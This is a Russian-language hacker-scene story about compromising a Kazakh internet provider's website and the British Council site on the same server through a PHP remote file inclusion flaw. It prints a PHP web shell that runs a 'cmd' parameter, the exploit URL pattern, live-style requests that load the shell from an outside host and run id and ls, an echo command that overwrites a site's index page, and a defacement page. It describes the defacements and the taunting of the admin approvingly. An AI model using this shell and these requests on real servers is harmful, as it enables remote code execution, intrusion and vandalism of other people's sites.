Как ломали сайт Коммеск Омир'a и сайт Британского Консулства в Казахстане

Эта статья написана в образовательных целях. Используйте ее на свой страх и риск. Автор не несет никакой ответственности. Сходство с реальным сайтом случайное!!!

Наверняка вы слышали как ломают сайты. Может быть вы видели результаты взлома.
Сейчас я расскажу как был взломан сайт прова и как что из этого вышло.......
Вообще все началось с того что у хакера начал глючить его любимый модем US Robotics :-( Ему приходилось перед набором поднимать трубку на параллельном телефоне и давать ему гудок. Под виндой он цеплялся а под любимым Линуксом отказывался. Хакер понял что так жить нельзя и что ему необходим новый модем. В связи с ограничеными финансами он двинул в магазин, зашел по дороге к другу в фирму и там оказалось что это же модем стоит дешевле, да и там работал его друг, который любит пиво... Пока оформляли документы хакер рассматривал прайс. Там был интересный пункт: карточка Net-Style. Хакер поинтересовался о провайдере, спросил у консультанта сайт прова. Друзья обьяснили что это очередной пров, и выдали сайт проверки счета: register.victim.kz Потом они попили пивка и попрощались. Вообщем хакер не дошел до своей цели, и попив пива пошел домой. Была весна, на улице было прекрасно...
Прийдя домой хакер скачал дрова под линукс, установил их и наконец-таки вышел в сеть. Он зашел на этот сайт.... Ниче интересного. затем он посетил сайт www.victim.kz Пошел смотреть инфу о прове. Он посмотрел цены и телефоны и вдруг взгляд опытного хакера ухватил в адресной строку любимой Оперы адрес: http://www.victim.kz/index.php?p=index Наш хакер вспомнил что в журнале ][АКЕР :-) был видео урок на эту ошибку...
Вообще про ПХП инклюдинг написано очень много но я еще раз повторюсь: вообщем в скрипте содержится команда открытия файла и вставка в определенное место веб паги, так как это не укажывается (Жестко в теле самого скрипта), а находится в ссылке, то можно лапками указать файл или СКРИПТ, который выполнится на удаленном сервере!! Можно просматривать страницы на других сайтах (как проксик, вот только кому-то это надо???)
Мы можем указать на скрипт такого типа

<?
echo "<H4><pre>";
system($cmd);
echo "</pre></H4>";
?>

Как видно в это скрипте не указан параметр cmd который задается так:

http://[target]/script.php?p=http://[hacker.host/Packer.php&cmd=[команда]

Скрипт выполняется на сервере и результат мы видим в окне браузера
Хакер зашел и набрал: http://www.victim.kz/index.php?p=http://abc666cba.narod.ru/Packer&cmd=id; В ответ сервер выдал мне uid=501(noboby) gid=501(nobody) группы=501(nobody) Странно но id был 501.. нам от энтого не хуже – главное все работает! Хакер ввел http://www.victim.kz/index.php?p=http://abc666cba.narod.ru/Packer&cmd=ls; и получил список файлов в данной директории потом командой pwd узнал директорию ею была /home/www/nets, он прикинул что неплохо бы залить туда сплоиты и порулить сервом на всю катушку но wget'a там не было. Потом (после взлома), поговорив с более опытными хакерами, ему обьяснили способ заливки файла на серв, но сам он реализовать не хотел (ему было просто ломы). Он походил по директориям и увидел что было несколько директорий для записи. Просто написав Hacked (echo “Hacked” > /home/www/britishcouncil/index.html ) на сайте консула он восстановил все обратно (Делайте бэкапы!!) . Сказав ссылку на веб-шелл знакомому хакеру они стали ходить по серву вместе. Затем его друг задефейсил Литературный Альманах, но он забыл сделать backup паги и хакер понял что надо дефейсить сервер, все равно админ все поймет! Хакер сделал дефы Консула напислв на главной паге свое мыло.
Затем еще раз
Примерно было так :

<font color="red"><html><head><title>-=[H-A-K-E-D]=-</title></head><body bgcolor="black" text="red"><div align="center"> Hacked by {hackers name} <br> {Hacker} owns u!<br>That's me again<br> If ya wanna close urs h0les mail <a href="mailto:31337@mail.kz>{hackers mailbox, not this}</a><br> Yo! If u want i'll become U'rs web designer :-)<br> Respect 4 {2'nd xakep <= author comment}<br>Here gonna be new$board :-)<br>DONT REHACK!!!</html></font></font>

Каждый раз текст немного менялся но это не по теме.... (Ну не писать же одно и тоже :-))
Второй хакер сменил дизайн Коммеск-омиру, потом это сделал наш хакер....
Потом он заристрировался на сайте как юзер...
На следующий день пришло письмо (оказалось рассылка). Хакер очень разозлился на админа за то, что он за 2 недели не написал ему и ответил туда:
«Да вы че совсем ох*ели
Вам на дефейсы совсем насрать???»
(Ну примерно так :-)
Получил ответ, в котором говорил админ, что он его достал и сын злого хозяина Коммеск- омира работает в КНБ и что хакер попал т т.д. Так же там было сказано что если он расскажет как ломал, то ниче не будет. Прикинув за развод, хакер отписал, мол говори мое имя адрес и IP. Но в случае правды (слова админа) попадать не хотелось, и хакер сказал: ПХП инклудинг! Потом были еще угрозы но хакер ничего не говорил... только : “а как тебе ответ КНБшникам: Я просто юзер и ничего не знаю, а с моего компа взломали??? ну наверное взломали меня а потом вас, дяденьки.....”
Вообще админ думал что ломал его только {2'nd xakep <= author comment} так как про него на форумах много можно найти.
Когда хакер ходил по серву, нашел много интересного {кому интересно – намыльте мне!}
Потом админ закрыл дыру, а хакер менял инфу о сайтах. Админ добавил в строку с пагой всего './' что означало поиск файла в текушей директории.
Вот так закончился очередной взлом......

2 All: Не надо это повторять!!!!

З.Ы. В следующей статье будет описана ошибка site.kz!!!

TLN aka Three Letter Name
icq: 194932545
mail: 31337@mail.kz